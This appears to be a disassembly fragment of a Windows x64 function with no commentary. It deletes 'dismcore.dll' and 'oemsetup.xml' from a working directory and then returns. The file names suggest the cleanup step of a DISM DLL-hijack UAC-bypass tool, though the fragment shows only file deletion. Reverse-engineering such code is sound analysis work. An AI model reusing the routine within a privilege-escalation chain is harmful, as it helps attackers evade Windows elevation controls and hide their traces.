mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140028f49
cmp dword [rbp + 0x24], 0
je 0x140029123
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14001616d
lea rdx, str.dismcore.dll
lea rcx, [rbp + 0x50]
call fcn.1400165e1
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14001616d
lea rdx, str.oemsetup.xml
lea rcx, [rbp + 0x50]
call fcn.1400165e1
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0xc58]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0xc68]
pop rdi
pop rbp
ret